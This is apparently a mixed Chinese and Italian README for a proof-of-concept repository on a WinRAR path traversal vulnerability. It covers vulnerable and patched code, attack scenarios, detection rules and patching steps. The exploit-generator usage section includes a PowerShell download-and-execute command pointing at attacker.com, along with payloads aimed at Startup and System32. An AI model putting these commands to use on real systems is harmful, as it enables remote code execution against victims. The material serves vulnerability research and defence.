strcpy(final_path, dest_dir);         // "C:\\Temp\\"
strcat(final_path, entry->filename);  // + "..\\..\\..\\Windows\\System32\\malware.exe"

// ❌ ERRORE: Nessuna validazione del path traversal!
// final_path = "C:\\Temp\\..\\..\\..\\Windows\\System32\\malware.exe"
// Risolto come: "C:\\Windows\\System32\\malware.exe" ← EXPLOIT!

create_file(final_path);  // File creato in directory non intesa

### v7.11 中缺失的保护

- ❌ 未检查文件是否保留在 `dest_dir` 内
- ❌ 未过滤 `..` 或 `.` 序列
- ❌ 未对路径进行规范化
- ❌ 未设置允许的目录白名单
- ❌ 未进行路径包含验证

### v7.12 中的修复

- ✅ 通过 `os.path.realpath(dest_dir)` 进行包含性检查```c
// WinRAR v7.12 (PATCHED)
bool is_path_contained(char *path, char *base_dir) {
    char canonical[MAX_PATH], canonical_base[MAX_PATH];
    
    // Normalizza entrambi i percorsi
    GetFullPathName(path, MAX_PATH, canonical, NULL);
    GetFullPathName(base_dir, MAX_PATH, canonical_base, NULL);
    
    // Verifica contenimento
    if (strncmp(canonical, canonical_base, strlen(canonical_base)) != 0) {
        return false;  // Path esce dalla directory base
    }
    return true;
}

void extract_file_safe(rar_entry *entry, char *dest_dir) {
    char final_path[MAX_PATH];
    strcpy(final_path, dest_dir);
    strcat(final_path, entry->filename);
    
    // ✅ FIX: Verifica che il file rimane dentro dest_dir
    if (!is_path_contained(final_path, dest_dir)) {
        skip_extraction();  // Rifiuta estrazione
        log_error("Path traversal detected!");
        return;
    }
    
    create_file(final_path);  // Adesso sicuro
}

### 攻击流程图```
┌─────────────────────────────────────────────┐
│  1. Attaccante crea RAR con path craft     │
│     es: ..\\..\\..\\Startup\\malware.bat   │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  2. Distribuzione via spear-phishing        │
│     Email mirata con allegato RAR          │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  3. Vittima estrae archivio con WinRAR     │
│     (versione ≤ 7.11)                       │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  4. WinRAR non valida path traversal       │
│     File estratto in Startup folder         │
└─────────────────────────────────────────────┘
                    ↓
┌─────────────────────────────────────────────┐
│  5. Al boot: payload eseguito              │
│     RAT stabilisce C2 connection            │
└─────────────────────────────────────────────┘

---

## 🌍 攻击场景

### 场景1: Bitter/APT-C-08 鱼叉式钓鱼（确认活跃）

**目标**: 政府、军事组织、战略机构```
Email Phishing:
  From: [email protected]
  Subject: "Provision of Information for Sectoral for AJK.rar"
  Attachment: Provision_of_Information.rar

Contenuto Archive:
  ├── Document.docx (esca legittima - report convincente)
  └── ..\\..\\..\\..\\Users\\User\\AppData\\Roaming\\Microsoft\\Office\\STARTUP\\Template.dotm
      (macro malato nascosto)

Esecuzione:
  1. Vittima estrae RAR
  2. WinRAR non valida path → Template.dotm finisce in Office STARTUP
  3. Prossimo avvio Word → Macro eseguita automaticamente
  4. PowerShell downloader attivato
  5. C# Trojan scaricato: WmRAT, MiyaRAT, ZxxZ
  6. C2 Server: johnfashionaccess.com
  7. Capabilities:
     - Keylogging
     - Screenshot capture
     - RDP credential stealing
     - File exfiltration
     - Lateral movement

### 场景3：勒索软件投递```
RAR Weaponized:
  └── locker.exe (path: ..\\..\\..\\Startup\\locker.exe)

Infezione:
  1. Estrazione RAR
  2. locker.exe → Startup folder
  3. Sistema reboota (naturale o forzato)
  4. locker.exe eseguito con diritti user
  5. File system encryption
  6. Ransom note displayed
  7. Bitcoin payment richiesto

### 实验室环境设置```powershell
# 1. Crea VM Windows pulita
# 2. Installa WinRAR 7.11
winget install RARLab.WinRAR --version 7.11

# 3. Verifica versione
(Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
# Output: 7.11.0.0 ✓

# 4. Disabilita network
Set-NetAdapter -Name "Ethernet" -Enabled $false

# 5. Crea snapshot
# VM → Snapshot → "Clean WinRAR 7.11 Vulnerable"

### 漏洞利用生成器用法```bash
# Genera payload per Startup folder
python3 exploit/generate_rar.py --target startup --payload shell.bat

# Genera payload per System32 (richiede admin)
python3 exploit/generate_rar.py --target system32 --payload malware.exe

# Genera con custom batch command
python3 exploit/generate_rar.py \
  --target startup \
  --payload dropper.bat \
  --batch "powershell -NoProfile -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"

# Targets disponibili:
# - startup    : Auto-execution at login
# - system32   : System directory (needs admin)
# - appdata    : User AppData
# - documents  : User Documents
# - temp       : User Temp folder

### 进程执行```powershell
# Verifica processi in esecuzione da Startup
Get-WmiObject Win32_Process | Where-Object {
    $_.ExecutablePath -like "*Startup*"
} | Select-Object Name, ExecutablePath, ProcessId

# Monitor WinRAR extraction con Sysmon (Event ID 11: File Created)
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath "*[System[EventID=11]] and *[EventData[Data[@Name='Image'] and contains(., 'WinRAR')]]" -MaxEvents 50

### 电子邮件指标```
Subject patterns:
  - "Provision of Information"
  - "Sectoral for AJK"
  - Government-related keywords
  
Senders:
  - [email protected]
  - Free email providers (Gmail, Outlook)
  
Attachments:
  - .RAR files da external senders
  - Legitimate-looking document names

strings:
    $rar_sig = { 52 61 72 21 }  // "Rar!" signature
    $traversal1 = "..\\" ascii wide
    $traversal2 = "../" ascii wide
    $startup = "Startup" ascii wide nocase
    $system32 = "System32" ascii wide nocase
    
condition:
    $rar_sig at 0 and 
    (#traversal1 > 3 or #traversal2 > 3) and
    ($startup or $system32)

---

## 🛡️ 缓解措施

### 🔴 立即修补（严重）```powershell
# Verifica versione attuale
$version = (Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
if ($version -le "7.11.0.0") {
    Write-Host "🔴 VULNERABILE! Update richiesto!" -ForegroundColor Red
} else {
    Write-Host "🟢 SAFE - Versione $version patched" -ForegroundColor Green
}

# Download WinRAR 7.12+
# https://www.rarlab.com/rar_add.htm

# Deploy aziendale (SCCM/Intune)
msiexec /i WinRAR-x64-721.msi /quiet /norestart

# Verifica post-update
(Get-Item "C:\Program Files\WinRAR\WinRAR.exe").VersionInfo.FileVersion
# Dovrebbe essere ≥ 7.12.0.0

#### 端点保护```powershell
# Scheduled task per monitoring
$action = New-ScheduledTaskAction -Execute 'PowerShell.exe' -Argument '-File C:\Scripts\monitor_startup.ps1'
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "CVE-2025-6218 Monitor" -Description "Monitor Startup folder for suspicious files"

# Sysmon configuration
# Monitor Event ID 11 (File Created) in sensitive directories

#### 应用程序白名单```powershell
# AppLocker policy - Block execution from APPDATA\Startup
$rule = New-AppLockerPolicy -RuleType Path -Path "$env:APPDATA\*\Startup\*" -Action Deny -User Everyone
Set-AppLockerPolicy -PolicyObject $rule

---

## 📅 时间线

| 日期 | 事件 |
|------|--------|
| **未知** | 漏洞被发现 |
| **2025年6月** | RARLAB 发布 WinRAR 7.12 补丁 |
| **2025年7月** | GOFFEE（纸狼）开始积极利用 |
| **2025年8月** | BI.ZONE 发布详细技术分析 |
| **2025年9月** | Bitter/APT-C-08 被确认参与鱼叉式钓鱼活动 |
| **2025年11月** | Gamaredon 被确认针对乌克兰进行利用 |
| **2025年12月9日** | 🔴 **CISA 将 CVE-2025-6218 添加到 KEV 目录** |
| **2025年12月30日** | 美国联邦机构强制补丁截止日期 |

---

## 📁 仓库结构```
CVE-2025-6218-WinRAR-RCE-POC/
├── README.md                           # Questa guida completa
├── LICENSE                             # MIT License
├── docs/
│   ├── TECHNICAL_ANALYSIS.md          # Deep dive tecnico
│   ├── DETECTION.md                   # Forensics & IOC
│   ├── IOC_INDICATORS.md              # Indicators of Compromise
│   └── SETUP.md                       # Lab setup guide
├── exploit/
│   ├── generate_rar.py                # POC exploit generator (Python)
│   ├── CVE-2025-6218.bat              # Batch script POC
│   └── README.md                      # Exploit usage guide
├── tools/
│   ├── detect.ps1                     # Detection PowerShell script
│   ├── check_version.ps1              # Version checker
│   └── monitor_startup.ps1            # Startup folder monitor
└── samples/
    ├── yara_rules.yar                 # YARA detection rules
    └── sysmon_config.xml              # Sysmon configuration

**未经授权访问计算机系统是非法的。您已被警告。**

---

## 📄 许可证

MIT 许可证 - 详见 [LICENSE](https://github.com/chrxstxqn/cve-2025-6218-winrar-rce-poc/blob/main/LICENSE)

---

## 🤝 贡献

欢迎贡献！如果您有：
- 🐛 错误报告
- 💡 功能请求
- 📝 文档改进
- 🔬 其他 IOC

请开启一个 **Issue** 或 **Pull Request**！

---

## 📞 联系

**作者**：Christian Schito  
**GitHub**：[@Chrxstxqn](https://github.com/Chrxstxqn)  
**最后更新**：2025年12月15日  
**状态**：🔴 积极研究 - 利用已确认  

---

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**⭐ 如果这个仓库对你有用，请留下一个星标！⭐**

**🔒 保持安全。立即打补丁。🔒**

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